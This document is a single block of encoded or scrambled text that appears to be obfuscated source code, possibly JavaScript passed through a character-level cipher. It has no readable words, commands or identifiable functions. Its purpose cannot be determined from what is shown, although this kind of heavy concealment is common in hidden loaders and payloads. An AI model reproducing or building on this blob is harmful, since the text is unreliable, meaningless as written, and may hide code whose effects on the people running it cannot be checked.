z,w(-=f{y~gfj8z()4x*~(n`nn'9}8?4>/7?,4)f{yggnnqnf('z//%=  *?86::8%=f,,&x"7%*"w>* "|f{y|gfj8z()4x*~(n`nnnn'9}8?4>/7?,4)f{ygbnnn(/"=+bnn ;""bn~bnnnfvevgggnqnnnnn|nnntnngnntnnn~uDDDnnj+< +&z~!x"4}')<,*!v z,w(-=f{y}gnsnn47}#%=++!*:f{yzgfj8z()4x*~(nn`n')<,*!v z,w(-=f{y{ggnnqnf('z//%=  *?86::8%=f,,&x"7%*"w>* "|f{yxgfj8z()4x*~(n`nnn47}#%=++!*:f{y{gbn(/"=+bnnnn ;""bnnn~bnnnnfvx}e|wgggnqnnn|nnntnnngnnntnnnnn~uDj+< +&z~!x"4}47}#%=++!*:f{yygnsnn47}#%=++!*:f{yzgfj8z()4x*~(nnn`nn'9}8?4>/7?,4)f{yvggnqnnf('z//%=  *?86::8%=f47}#%=++!*:f{yxgfj8z()4x*~(nnnn`nnnnn'9}8?4>/7?,4)f{yvgbn(/"=+bn ;""bnnnn~bnnnnnnfv|ev~gggnqnnnn|nntnngnnnnnntn~uDj,>7?>y#,%y"'*)%nnsnnnn')<,*!v z,w(-=f{ywgnnnnn`nnn!=+>>,++"6<w;&fn`ni)ibnnf}c{gguDnnnnnj//-yx+#4y*4w)~nnnnnsnnnnn,,&x"7%*"w>* "|f{v~gn`nnnnn!=+>>,++"6<w;&fn`nni)ibnnf}c{gguDnnnnj+< +&z~!x"4}')<,*!v z,w(-=f{vgnnnsn~uDnn(!<+/-&nnf/<</7f9#::(!7?8|, ,v})v'fgbnnj8z()4x*~(bnnn`nn'9}8?4>/7?,4)f{v|ggnn/=nj"x788,)<~x"={%:gnn5Dn'(nnf,,&x"7%*"w>* "|f{yzgfj"x788,)<~x"={%:nn`niainn`nnj,>7?>y#,%y"'*)%nn`nn47}#%=++!*:f{~xgggnnnnnj+< +&z~!x"4},,&x"7%*"w>* "|f{vgnsnnuDn'(nf47}#%=++!*:f{yzgfj"x788,)<~x"={%:nnnnnn`nnnnniainnn`nnj//-yx+#4y*4w)~gnhhnnnnf' :gn'9}8?4>/7?,4)f|~|gfj"x788,)<~x"={%:nnnnn`nniain`nnnnnj//-yx+#4y*4w)~gnnpnn,,&x"7%*"w>* "|f{v}gfgnnncnnnf}{vcvggnnn5Dj+< +&z~!x"4},,&x"7%*"w>* "|f{vzgnnnnnnsnn|uDnnn,<+/%uDDD3Dnnnnnn3Dn; =+:fj//-yx+#4y*4w)~bnnj"x788,)<~x"={%:guDnnj<8!!=w<&!?;v}nsn'9}8?4>/7?,4)f{v{gf47}#%=++!*:fz{zggnnqnn'9}8?4>/7?,4)fz{zgf,,&x"7%*"w>* "|f{vxggnntn(/"=+uDnn'(nnnfo')<,*!v z,w(-=f{vygfj<8!!=w<&!?;v}gnnnn22nj<8!!=w<&!?;v}nsssnnnnnllnnnn22nnnnnj<8!!=w<&!?;v}nnnsssnnn47}#%=++!*:f{vvggnj<8!!=w<&!?;v}nnsnnnnn'9}8?4>/7?,4)f{vwguDj+< +&z~!x"4}')<,*!v z,w(-=f{w~gnnsnnnf47}#%=++!*:f{yzgfn`nj<8!!=w<&!?;v}gnhhnnnn,,&x"7%*"w>* "|f}xxgff=:<' )gnn47}#%=++!*:f{yxgfnn`nnnnj<8!!=w<&!?;v}gbnn'9}8?4>/7?,4)f{wggnnossnnnnn(/"=+gnnnqnnnnntnn~uDj+< +&z~!x"4}47}#%=++!*:f{w|gnnsnnf'9}8?4>/7?,4)f{w}gfnnnnn`nnnnnn47}#%=++!*:f{wzggnnhhn'9}8?4>/7?,4)f}xxgff=:<' )gnnn'9}8?4>/7?,4)f{yxgfn`nn,,&x"7%*"w>* "|f{wzggbn47}#%=++!*:f{w{ggnnnossnnnnnn(/"=+gnnqnnnnnnntnnn~uDDDj+< +&z~!x"4}47}#%=++!*:f{wxgnsnnnf'9}8?4>/7?,4)f{wygfnn`nnnn')<,*!v z,w(-=f{wvggnnhhn')<,*!v z,w(-=f}xxgff=:<' )gnn'9}8?4>/7?,4)f{wwgfnnn`nnnn47}#%=++!*:fx~~gbnnn(/"=+bn ;""bnnnnnn~bnnfx{{|~exggbnn47}#%=++!*:fx~ggnossnnn(/"=+gnnnqnnnnntn~uDDDDnnj+< +&z~!x"4},,&x"7%*"w>* "|fx~|gnsn*+(' +*f'9}8?4>/7?,4)fx~}ggnnnnnnqnnnnnnntn~uDnnnnnnj+< +&z~!x"4},,&x"7%*"w>* "|fx~zgnnnsnnnnnnf*+(' +*f47}#%=++!*:fx~{ggnn22n*+(' +*f'9}8?4>/7?,4)fx~xggnn22n*+(' +*f'9}8?4>/7?,4)fx~yggn22nn,,&x"7%*"w>* "|f{v{gf'9}8?4>/7?,4)fx~vggnnnnnn22nnnnnn')<,*!v z,w(-=fx~wgf'9}8?4>/7?,4)fx~ggnnnnnn22nnnn'==+:fj	,,&x"7%*"w>* "|fxggnn22nn,,&x"7%*"w>* "|fx|gf,,&x"7%*"w>* "|fx}gggnnnnnqnnntnn~uDnj+< +&z~!x"4}')<,*!v z,w(-=fxzgnnsnnnnf' :gn)+:!>:'! f,,&x"7%*"w>* "|fzx{gbnnnn~guDj+< +&z~!x"4}')<,*!v z,w(-=fx{gnsnnnnf' :gnn)+:!>:'! f')<,*!v z,w(-=fxxgbnn~guDnj+< +&z~!x"4}'9}8?4>/7?,4)fxygnnnnsnf' :gnnnn)+:!>:'! f'9}8?4>/7?,4)fxvgbnnn~guDDDj-&}?}~>"=w$)&nnnsnnnnn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=fxwgbn/<</7fgguj"<('x+::-sxw~uj<{$(6$, :7sfj"<('x+::-p~gqj"<('x+::-tcj"<('x+::-uDDnj7v|,zw|?{'nnnnnsnn~uDDnnnnj;(~,;/+4-7x'nnnsnn~uDnnnn'(nnnf,,&x"7%*"w>* "|fzvgfj-&}?}~>"=w$)&ggnnnn5DDDDnnnnn(!<+/-&nnnfj-&}?}~>"=w$)&n/=nnj#}v& 6w</gnnnnn5DDDnn'(nnnf 7}4y-;/*?*-( v|*zfj#}v& 6w</gnnnsssnnnnllgnn-! :' ;+uDDj7v|,zw|?{'eeuDDnnj!/|}w=7=v7nnsnnn')<,*!v z,w(-=fzvgfj#}v& 6w</gnnqnf' :gnnf'==+:fj#}v& 6w</,,&x"7%*"w>* "|fx|~ggnnnnqnnj#}v& 6w</'9}8?4>/7?,4)fx|~gntnnngnnnntnnnuDnnj>7zw;4(,:,w69nnnsn')<,*!v z,w(-=fzvgfj#}v& 6w</gnhhnnnn'==+:fj#}v& 6w</,,&x"7%*"w>* "|fx|ggnqnnf' :gnnj#}v& 6w</')<,*!v z,w(-=fx|gnntn~uDn'(nnnnfoj!/|}w=7=v7nhhnnnnfoj>7zw;4(,:,w69n22nnnj>7zw;4(,:,w69nrnn,,&x"7%*"w>* "|fx||gfgnnnncnnnf}{{~e{~gggnj;(~,;/+4-7x'eeuDDDDnnnn3Dn3Dnnj+< +&z~!x"4}47}#%=++!*:fx|}gnnsnj7v|,zw|?{'uDDnnj+< +&z~!x"4}'9}8?4>/7?,4)fx|zgnnnnnnsnnnj;(~,;/+4-7x'uDnnnnj,;<<"?9|{(-nnnnnsnn,,&x"7%*"w>* "|fx|gf,,&x"7%*"w>* "|f{|{ggnnnnnqnn)+:!>:'! f')<,*!v z,w(-=fx|{gbnllgnnnnnntnnnnnnlluDnnnnj+< +&z~!x"4},,&x"7%*"w>* "|fx|xgnnnsnnn47}#%=++!*:fx|ygfj,;<<"?9|{(-gnnqn'9}8?4>/7?,4)f{zygfj,;<<"?9|{(-bnnnn~bnnnnf|}w|}zggnnnnnntnnnlluDnj&;()w6}},=znnsn47}#%=++!*:fx|gf')<,*!v z,w(-=f{|{ggnnnnnqn)+:!>:'! f'9}8?4>/7?,4)fx|vgbnnn/<</7fggnntnnnn/<</7fguDnnnnj+< +&z~!x"4}'9}8?4>/7?,4)fx|wgnnsnf47}#%=++!*:fzvgfj&;()w6}},=zgnnhhnfo+#>:7fj&;()w6}},=zi:ignnnnn22nno+#>:7fj&;()w6}},=z47}#%=++!*:fx}~ggggnqnnnnnnntnnnnnn~uDnn3nn-/:-&nnnnnnf&<!9/,"+nj": >{,:|gn5Dnnnnnnj+< +&z~!x"4}47}#%=++!*:fx}gnsn')<,*!v z,w(-=fx}|gfj": >{,:|cp)+:+==/)+fgbn~bnnnfz|evgguDnn3nn-/:-&nnf6-+>:'! nnnnj": >{,:|gnnn5DDDDnnnj+< +&z~!x"4}')<,*!v z,w(-=fx}gnsn'9}8?4>/7?,4)fx}}gfj": >{,:|cp)+:+==/)+fgbn~bnnnf~6|ve~6zgguDn3DDDnnnnnnn<+:;< nnj+< +&z~!x"4}uD3DnDnnn(; -:'! nn#?$>:46z&:|{<7y%<*}:fgD5Dnnnnnn'(nf')<,*!v z,w(-=fx|gf'9}8?4>/7?,4)fx}zgggnnnnn5Dnnnnn<+:;< nnf=:<' )gnnn=':+;<"f')<,*!v z,w(-=fx}{gguDnnnnnn3Dn<+:;< n'9}8?4>/7?,4)fx|gf'9}8?4>/7?,4)fx}xggnnqnnnf=:<' )gnnnnn9>"!)' ;<"fgnnntnnlluDn3DDnDnnnnn(; -:'! n9)4->=87+%~!?,(fj 8 %'w|,gDnn5Dnj4z<*/#/w' z4;?!"nsnnnlluDnnn'(nnnf'9}8?4>/7?,4)fx|gf'9}8?4>/7?,4)fx}ygggnnn5Daan= />=&!:c'=!"/:+*n=-&+*;"+<DDnnj4z<*/#/w' z4;?!"nnnnsnnf=:<' )gnnnnnn47}#%=++!*:fx}vgf&!#+;<"fgbn-! =:/ :f')<,*!v z,w(-=fx}wggguDnnn3Dnn'(nfonnnnj4z<*/#/w' z4;?!"nnhhnn'9}8?4>/7?,4)fx|gf'9}8?4>/7?,4)fxz~gggn5Dnnj4z<*/#/w' z4;?!"nsnnf=:<' )gnn')<,*!v z,w(-=fx}vgf)+:=':+;<"fgbn-! =:/ :f')<,*!v z,w(-=fx}wggguDn3Dnn'(nnnnfonnnj4z<*/#/w' z4;?!"nnnnnhhn47}#%=++!*:fx|gf'9}8?4>/7?,4)fxzgggn5Dnj4z<*/#/w' z4;?!"nnsnf=:<' )gnnnnnn47}#%=++!*:fx}vgf)+:,"!)' (!f47}#%=++!*:fxz|ggbnn-! =:/ :f'9}8?4>/7?,4)fx}wggguD3Dn'(nnfonnj4z<*/#/w' z4;?!"nnhhnnn')<,*!v z,w(-=fxz}gf47}#%=++!*:fxzzgggnnnnn5Dnnj4z<*/#/w' z4;?!"nsnf=:<' )gnnnn')<,*!v z,w(-=fx}vgff=:<' )gnnn)+:!>:'! f'9}8?4>/7?,4)fxz{gbnnnllgbnn-! =:/ :f,,&x"7%*"w>* "|fx}wggguDnnnnn3Dnnn'(nfonnnj4z<*/#/w' z4;?!"nhhn'==+:fj,,&x"7%*"w>* "|fxzxgggnn5DDnj4z<*/#/w' z4;?!"nsnnf=:<' )gnnnnj,,&x"7%*"w>* "|fxzxguDn3DDD'(nfonj4z<*/#/w' z4;?!"nnhhn'==+:fj')<,*!v z,w(-=fxzygggnnnn5Dnnnnnnnj4z<*/#/w' z4;?!"nnsnnnnf=:<' )gnj,,&x"7%*"w>* "|fxzyguDn3Dnn'(nfonnj4z<*/#/w' z4;?!"gnnnn5Daann/,"+n"!-%tn-/;=/"n#'**"+9/<+DD<+:;< nj 8 %'w|,uDnnn3Dn<+:;< nnnj4z<*/#/w' z4;?!"uDnn3D(; -:'! nnnn;|<#,9"|w99w?>fgDn5Dnnn:<7nnnnnn5Dadn>!"7 !#'/"n=:/,'"'4+<ndaDDDDnj6=&84$*yv>% |?nnnnnsnnn47}#%=++!*:fxzvgf')<,*!v z,w(-=fz{zggnqnnnf' :gnnn')<,*!v z,w(-=fxzwgf'9}8?4>/7?,4)fx{~ggnntnnn~uD'(nnf')<,*!v z,w(-=fxzvgf')<,*!v z,w(-=fzy}gggn,,&x"7%*"w>* "|fx{gffw}c}gguDnnj:=&$;6%7vyw/}8;$nsnnfj6=&84$*yv>% |?npnnf~6+e~6xgnhhnnj6=&84$*yv>% |?nnnnrnfz{rr|ggnqnfj6=&84$*yv>% |?nnncnnnnnnfve|ggnntnffj6=&84$*yv>% |?nnnnnnpnnnn~nnhhnnnnj6=&84$*yv>% |?nnrsnnnnf}z{zggnnqnfye}gnntnnnnnnf~6we~6zgguDnnnnn'(nfonnnn>,44{x%</|"8; :$x&7!fggnn5Dn<+:;< uDDDnnnnn3DDDDn'(nnnfo-#'$6wy*|{{wvx"(#w z9f'9}8?4>/7?,4)fz}vgggnnnnnn5Dnn<+:;< uDDnn3DnnnnDj!*x'66!w4?nnsnnn,,&x"7%*"w>* "|fx{|gf:<;+guDDDnnnj<v'8$<49"9;+nsnnn&*87>%:yxv{9/8%}*8fguDnnn'(nnnfDonnn47}#%=++!*:fzvgfj<v'8$<49"9;+gD22nnon'==+:fj<v'8$<49"9;+')<,*!v z,w(-=f}v{ggnnnnnn22nnonnnnn')<,*!v z,w(-=fx{}gfj<v'8$<49"9;+')<,*!v z,w(-=fx{zggn22nonnnnnj<v'8$<49"9;+')<,*!v z,w(-=fx{zgDnnn22nnnonnnn'==+:fj<v'8$<49"9;+,,&x"7%*"w>* "|f}w|ggnnn22nnnon47}#%=++!*:fzvgfj<v'8$<49"9;+,,&x"7%*"w>* "|f}w|ggnnnn22nn+#>:7fj<v'8$<49"9;+,,&x"7%*"w>* "|f}w|ggDnnngn5DDDDnnn&</,4-|7(8#:8 fguDnn<+:;< uDn3Dnj<&#!=7~w>zx!=*nnsnnj<v'8$<49"9;+'9}8?4>/7?,4)fx{{guDnj?|&wwy"%{nnnnsnnj<v'8$<49"9;+')<,*!v z,w(-=f}w|guDnn$4"|"44x:74/<*9 %#||8f')<,*!v z,w(-=f}vvgbnj<&#!=7~w>zx!=*bnn47}#%=++!*:fx{xgguDDDDnnnnj&x,x'86y:v~y=?xznnnnsn,,&x"7%*"w>* "|fxzvgf'9}8?4>/7?,4)fxzzggnqnnnnf=:<' )gnn)+:!>:'! f')<,*!v z,w(-=fx{ygbnnnnnnllgnnntnlluj8||,,v6+6v6svvvxuj7z|,7:}&*sj8||,,v6+6v6kvuDnn'(nnnfj&x,x'86y:v~y=?xznnnnossnnnnnllnnnhhnn')<,*!v z,w(-=fw{gfj&x,x'86y:v~y=?xzbnj?|&wwy"%{bnnnnn:<;+ggn5Dnnnj?|&wwy"%{nnsnn'9}8?4>/7?,4)f}w~gf47}#%=++!*:fwxgfj?|&wwy"%{bn/<</7fj&x,x'86y:v~y=?xzggguDnnn47}#%=++!*:fx{vgfj?|&wwy"%{guDnnnn'9}8?4>/7?,4)fx{wgfj?|&wwy"%{bnnj&x,x'86y:v~y=?xzguDn3nn+"=+'(nnnnnnf,,&x"7%*"w>* "|fxx~gfj?|&wwy"%{gnpnnngnn5Dnnnnn,,&x"7%*"w>* "|fx{vgfj?|&wwy"%{guDnnnnnnn3Dadn=:<+/#' )n=;,=:':;:'! c#/>ndaDDDnn'(nnnnnff,,&x"7%*"w>* "|fx{|gf:<;+gnncnj!*x'66!w4?gnnnnnpnnnnnf' :gnnnnnfj:=&$;6%7vyw/}8;$ndnnn~`xggnnnn5Daan==/c-! 8+<:n=:/,'"'4+<n(!<nn+*;6n:!<+DDnnn&</,4-|7(8#:8 fguDnnnn<+:;< uDDnn3DnDnnj7"wv 9# $;v,}9*nnsnn}#w%6$);y?&&{zfguDnnn9z*$%}#+y7+z"xxvy'()fj7"wv 9# $;v,}9*guDnDDDDnj;y+;(v&~+:?nnnnsnnn/<</7fguDDDDnnnnn'(nnnf47}#%=++!*:fxzvgf,,&x"7%*"w>* "|fxxgggnn5Dn(!<+/-&nnff/<</7gnn)+:!>:'! f'9}8?4>/7?,4)f||xgbnnn/<</7fggn/=nnnnnj(",(/4}#}|y '<!gnnn5DDDDn'(nnf,,&x"7%*"w>* "|fx{}gfj(",(/4}#}|y '<!gnhhnnnnj(",(/4}#}|y '<!gnn5Dnnnj;y+;(v&~+:?nnnnsnnnnj(",(/4}#}|y '<!uD3Dnnn3Dnnn3Daann#/:-&n+6><+=='! tn-;,'-n-&/' DDnDj>#=4|,7&-6:v&nsnnn/<</7fguDn'(nf*+(' +*f'9}8?4>/7?,4)fzgggnn5Dnnnj#y}!v=x-6&nnnsnnn,,&x"7%*"w>* "|fxzvgf')<,*!v z,w(-=f{~vggnnnnnqnnnnn,,&x"7%*"w>* "|f{~vgf')<,*!v z,w(-=f}gf	 
bnniaignn`n')<,*!v z,w(-=fxx|ggnntn(/"=+uDn'(nnnf')<,*!v z,w(-=fxx}gfj#y}!v=x-6&ggnnn5D(!<+/-&nnnnfj#y}!v=x-6&nnn/=nnnnj*+|?#!/(##,y>gnnn5Dnj>#=4|,7&-6:v&nnsn'9}8?4>/7?,4)f|{ygfj*+|?#!/(##,y>guDnnnnn3Daan><!>/)/:+n-!  +-:+*n,"!!#c('":+<DDDDDnnnn3D3DnnnDj=,}+#,%{"?~-$nsnnnnnn/<</7fDDDDn'9}8?4>/7?,4)fxxzgnnspnnn9)4->=87+%~!?,(fllgbDnn47}#%=++!*:fxx{gnnnspn9),%/4:v49)x!/ /x9}(y:fgbD')<,*!v z,w(-=fxxxgnnnnnspnn')<,*!v z,w(-=f|{ygf<xw=w,+~4~}#8~fgbnn47}#%=++!*:f{~xggbDn'9}8?4>/7?,4)fxxygnnnnnspnnn')<,*!v z,w(-=fxxvgfbn47}#%=++!*:f~xggbD47}#%=++!*:fxxwgnnspnnj;y+;(v&~+:?bDnnn')<,*!v z,w(-=fxy~gnspnnnj>#=4|,7&-6:v&bD47}#%=++!*:fxygnnnspnnnn#?$>:46z&:|{<7y%<*}:fgbD'9}8?4>/7?,4)fxy|gnspnnnn$%9z;+#(z?w<4,$~{/yfj7"wv 9# $;v,}9*gbDDDDn'9}8?4>/7?,4)fxy}gnnnspnn ,:*";6z;~%!6x4+8fj7"wv 9# $;v,}9*gbDnnnnnn,,&x"7%*"w>* "|fz||gnnnspnnfj!9>- z9< $* 6v~nsnn)?<*: x|=& <4:)}"#+6fggbDnnnnnnDguDDDDnnj6$,x=y%:*-x&nnsnn')<,*!v z,w(-=fxzvgf,,&x"7%*"w>* "|fxyzggnnnqnnnnn9>$=! + -!*+fj=,}+#,%{"?~-$gnntnnnnnn47}#%=++!*:fxy{gfj=,}+#,%{"?~-$guDnnnnnnj z8:(8;7!" )?9} nnnsn44=?z~}4y9,=&&76+w+'fj6$,x=y%:*-x&bnj<&#!=7~w>zx!=*guDj":v9|~$%x}-nnnsnn/<</7f,,&x"7%*"w>* "|fxyxgnnnspnnn'9}8?4>/7?,4)fxyygguDDDDnj)##z6&)6&$:9!nnnsnn ;""uDDDDnn&</,4-|7(8#:8 fguDD(!<+/-&nnfj?|&wwy"%{n/=nj$#$v->x*)(gn5DnDnnn'(nff'9}8?4>/7?,4)fx{|gf:<;+gnnnnnncnnj!*x'66!w4?gnnnpnnj:=&$;6%7vyw/}8;$gnnn5Dnnnn,<+/%uDDnn3DnnDnj$#$v->x*)(nnnnnsnn'9}8?4>/7?,4)f}wgff=:<' )gnnnnnnj$#$v->x*)(guDDnn'(nfonnj$#$v->x*)(gn5D-! :' ;+uD3Dnnnnnnn:<7nnn5Daan-! ='*+<n' "' ' )DDDDDnnnnnj'}+$9:$|?nnnnnnsnnj<&#!=7~w>zx!=*uDDDDnj6&6#!} 489)?#<nnsnnn8:y*)w!8yvy-fj$#$v->x*)(bnj z8:(8;7!" )?9} bnnnj":v9|~$%x}-bnnf|v}vgbnn(; -:'! nnfj:8:>&"*=,gnn;=+nfj'}+$9:$|?gnnnnnn5Dj+< +&z~!x"4}nnsnnnnn44=?z~}4y9,=&&76+w+'fj:8:>&"*=,bnj'}+$9:$|?guDDn'(nnfoj+< +&z~!x"4}gnnnnn<+:;< nnn(/"=+uDnn<+:;< nnn,,&x"7%*"w>* "|fxyvgf')<,*!v z,w(-=f}x|gf')<,*!v z,w(-=f}wgfj+< +&z~!x"4}gbnnn:<;+gguD3guD'(nnnfonnj6&6#!} 489)?#<gnnn5D!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzygbnnnn47}#%=++!*:fxywgnnn`nnj$#$v->x*)(guDnn-! :' ;+uDnnnnn3Daancyn#+==/)+=tn,+ -&#/<%n':+</:!<DDDnnDnj#7%>y>v+: nnnnsn44=?z~}4y9,=&&76+w+'fj6&6#!} 489)?#<bnj<&#!=7~w>zx!=*guDnn'(nnfonnnnj#7%>y>v+: gnnnn5Dnnnnn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fzygbnnn47}#%=++!*:fxv~gnn`nnj$#$v->x*)(guD-! :' ;+uD3Dnj)##z6&)6&$:9!nnnsn'9}8?4>/7?,4)f}x|gf47}#%=++!*:fxvgfj#7%>y>v+: gbnnnnn:<;+guDDDDnnn'(nnnnf,,&x"7%*"w>* "|fxyvgfj)##z6&)6&$:9!ggnn5DDnnnnn'(nf'9}8?4>/7?,4)fxzvgf'9}8?4>/7?,4)f}w{gggnnn5Daann'-&+6:nn!>:'! n<!9DDDnnnnn;>*/:+!>:'! f')<,*!v z,w(-=fx{ygbnnj$#$v->x*)(guDnn3Dnn,<+/%uDnnnnn3nnnnnn+"=+nn5Dnnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzygbn,,&x"7%*"w>* "|fxv|gnnnn`nnj$#$v->x*)(guDnnnnnnn3Dn3nn-/:-&nnf&<!9/,"+nnj": >{,:|gnnn5Dnnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fxv}gbnj": >{,:|guDn-! :' ;+uDn3nn-/:-&nnf6-+>:'! nnnnnj": >{,:|gnnnnn5Dnnnn-! :' ;+uDnn3DD3Dnnnnnn'(nnnfonnnnn,,&x"7%*"w>* "|fxyvgfj)##z6&)6&$:9!ggn5Dnnj8{9'>:"$/<,nsnn44=?z~}4y9,=&&76+w+'f')<,*!v z,w(-=fxy{gf/<</7fDn47}#%=++!*:fxxzgnspnnnn9)4->=87+%~!?,(fllgbDnn'9}8?4>/7?,4)fxx{gnspnn9),%/4:v49)x!/ /x9}(y:fgbDDn')<,*!v z,w(-=fxxxgnspnn'9}8?4>/7?,4)f|{ygf<xw=w,+~4~}#8~fgbn'9}8?4>/7?,4)f{~xggbDDnnn')<,*!v z,w(-=fxvzgnnspnnbDDnggbnnj<&#!=7~w>zx!=*guDnnj-x8'<%y"()8nnnnsnn')<,*!v z,w(-=fxxvgf=:<:<f,,&x"7%*"w>* "|f}wwgfj8{9'>:"$/<,gbnn47}#%=++!*:fxv{gbnnn,,&x"7%*"w>* "|fxvxggbnnisiguDnnnnj+)%4~~:?#6'~|*/nsnnnnn')<,*!v z,w(-=fxvygfj-x8'<%y"()8bnnf||v{cvv{gguD(!<+/-&nnnnfj?|&wwy"%{nnn/=nnj$#$v->x*)(gn5DDnnnnn'(nnnff')<,*!v z,w(-=fxvvgf:<;+gnnnncnnnnnj!*x'66!w4?gnpnnnj:=&$;6%7vyw/}8;$gnnn5Dnnnn,<+/%uD3Dnnnj$#$v->x*)(nnsnnn')<,*!v z,w(-=fxvgff=:<' )gnj$#$v->x*)(guj-?%'w>~vs a uj"w&>4%*;>#~sj-?%'w>~vezxuD'(nfj$#$v->x*)(nnnsssnnllgn5Daan#! !#!<>&'4+n; '('-/:'! DDnnn-! :' ;+uDnnnnnn3Dnnj%=&{%#==z9nsnn!=+>>,++"6<w;&f9)4->=87+%~!?,(fllgnnnnnn`nnn'9}8?4>/7?,4)fxvvgf:<;+gbnnnnfc}gguDDnnnnj#$#<+='~%|,~);8nsnnn'9}8?4>/7?,4)fxvwgfj+)%4~~:?#6'~|*/guDnnnj)"|='?/w'}{6~nnsnnnf'9}8?4>/7?,4)f}xxgfj$#$v->x*)(bnnnnnniqignsssnn(/"=+gnnnqnniqinntnnnihiuDn(!<nnnnnfj:%~8{?&+v'x|{nsn~unnj:%~8{?&+v'x|{nnnrnnj#$#<+='~%|,~);8unj:%~8{?&+v'x|{eegn5DDDn'(nff,,&x"7%*"w>* "|fxw~gf:<;+gncnnnnj!*x'66!w4?gnpnnj:=&$;6%7vyw/}8;$gn5Dnnnn,<+/%uDn3Dnnnj?vz{;86<8 }4#%#nsnnnfj:%~8{?&+v'x|{nsssnj#$#<+='~%|,~);8nncnnguDnnj&9%<?,&9%:4nsnnnnj$#$v->x*)(nnn`nnnj)"|='?/w'}{6~nnn`nnnn'9}8?4>/7?,4)fxwgn`nj%=&{%#==z9n`nn47}#%=++!*:fxw|gn`nj:%~8{?&+v'x|{n`nnnn')<,*!v z,w(-=fxw}gnnn`nj#$#<+='~%|,~);8nnn`nnn')<,*!v z,w(-=fxwzgnnnn`nj+)%4~~:?#6'~|*/j:%~8{?&+v'x|{uDnnnj'|,;v=w*nnnnsn=y<=?y},!<>4/zx'>fj&9%<?,&9%:4bnfwcgbnj?vz{;86<8 }4#%#nqn(; -:'! nnnnnfj:8:>&"*=,gnnnnn;=+nfj<&#!=7~w>zx!=*gnnn5Dj+< +&z~!x"4}nnsnnn44=?z~}4y9,=&&76+w+'fj:8:>&"*=,bnnnj<&#!=7~w>zx!=*guDD'(nfoj+< +&z~!x"4}gn<+:;< nnn(/"=+uDn<+:;< n'9}8?4>/7?,4)fxw{gf47}#%=++!*:f}x|gf,,&x"7%*"w>* "|fxvgfj+< +&z~!x"4}gbnnn:<;+gguDnnnn3nnntnn ;""guDnnnnn'(nnfj?vz{;86<8 }4#%#nhhn'9}8?4>/7?,4)fx{}gfj'|,;v=w*gnnhhnnj'|,;v=w*nnnnossnnnnnnllgnnn5Dnnnnj)*nsn44=?z~}4y9,=&&76+w+'fj'|,;v=w*bnj<&#!=7~w>zx!=*guDDnj,>7?>y#,%y"'*)%nnnnnsnj)*nqn47}#%=++!*:f}x|gf,,&x"7%*"w>* "|fxvgfj)*gbnnnnnn:<;+gnntnnnnnn ;""uDn'(nnf,,&x"7%*"w>* "|fxw{gfj,>7?>y#,%y"'*)%ggnn5DDDnj)##z6&)6&$:9!nnnnsnnnj,>7?>y#,%y"'*)%uj4-8;%87=sx}vuj<,*=~-"<!-;9{sj4-8;%87=k}uD'(nf,,&x"7%*"w>* "|fxwxgf'9}8?4>/7?,4)f}w{gggnn5Dn;>*/:+!>:'! f47}#%=++!*:fxwygbnnnnnnj$#$v->x*)(guDnn3DDDDnnnnnnn,<+/%uDDn3DDDDnnnn3DDnnnnnn3Dnnn'(nnf,,&x"7%*"w>* "|fxw{gfj)##z6&)6&$:9!ggn5Dnnnnn,<+/%uDnn3Dn3Dnnnnnnn3D'(nnnnfonnnn')<,*!v z,w(-=fxw{gfj)##z6&)6&$:9!ggn5Dn<+:;< uDnnn3Dn'(nfj!9>- z9< $* 6v~nnnnhhnnnnn')<,*!v z,w(-=fxwvgf,,&x"7%*"w>* "|fxwwgggn5Dnnnn*+"+:+!>:'! f+{8+|>)79z=/6!;;x!}f'9}8?4>/7?,4)fz||ggguDn3Dnnnnnn'(nnnfo'==+:fj	47}#%=++!*:fz{ggnnn22nno')<,*!v z,w(-=fxw{gfj	47}#%=++!*:fz{gggnj	,,&x"7%*"w>* "|fy~~gnnnsn/<</7fguDDDDnj	47}#%=++!*:fy~gnsnnnn')<,*!v z,w(-=fy~|gf')<,*!v z,w(-=fwxgfj	47}#%=++!*:fy~gbnnnnnnj!9>- z9< $* 6v~gguDn'(nf'==+:fj)##z6&)6&$:9!,,&x"7%*"w>* "|fy~}ggnnhhn47}#%=++!*:fy~zgfj)##z6&)6&$:9!,,&x"7%*"w>* "|fy~{gggnnnn5Dnnnn#%z/77&>78$>|w7&;fj)##z6&)6&$:9!'9}8?4>/7?,4)fy~{gbnnnnn'==+:fj)##z6&)6&$:9!')<,*!v z,w(-=fy~xggnnnhhnnnn,,&x"7%*"w>* "|fy~zgfj)##z6&)6&$:9!,,&x"7%*"w>* "|fy~xggnnqnj)##z6&)6&$:9!47}#%=++!*:fy~xgnnntnllbnno+#>:7fj)##z6&)6&$:9!')<,*!v z,w(-=fy~yggguD3DnnDnnnnj&~,!}=6&x,wnsn(/"=+uDDnnj(v'9~&!#v<#7,ynsnnnn/<</7fguDnnDDnn'(nnnf'==+:fj)##z6&)6&$:9!')<,*!v z,w(-=fzyyggnhhnnn47}#%=++!*:fxw{gfj)##z6&)6&$:9!')<,*!v z,w(-=fzyygggnnnnn5Dnnnj')>v&(~%/+nsnnnnn/<</7fguDDnn(!<+/-&nnnnnnfj)##z6&)6&$:9!,,&x"7%*"w>* "|fzyygn/=nj>$(|!-z!$w(;{yxgnn5Dn'(nnnnnnf'9}8?4>/7?,4)fy~zgfj>$(|!-z!$w(;{yxgnnhhnnnj>$(|!-z!$w(;{yxnnnossnllgn5Dnj')>v&(~%/+nnsnnnj>$(|!-z!$w(;{yxuDnnnnnnn3Dadn*'/) !=:'-n*/:/("!9c)</>&ndaDDnn3Dnj8 ?%y+98{/,xnnnnsnnnj	47}#%=++!*:fzywguDnnnj')>v&(~%/+nnnsnnn4***~y4(x#~|(4*'z~7)7fj')>v&(~%/+guDDDDnj	')<,*!v z,w(-=fzywgnsnnnj')>v&(~%/+uDnnj(v'9~&!#v<#7,y47}#%=++!*:fzyygnnnsnnj')>v&(~%/+uDnn'(nnfonnnn+#>:7f47}#%=++!*:fwxgfj')>v&(~%/+bnnj8 ?%y+98{/,xggnnnn22nonnn+#>:7f'9}8?4>/7?,4)fwxgfj8 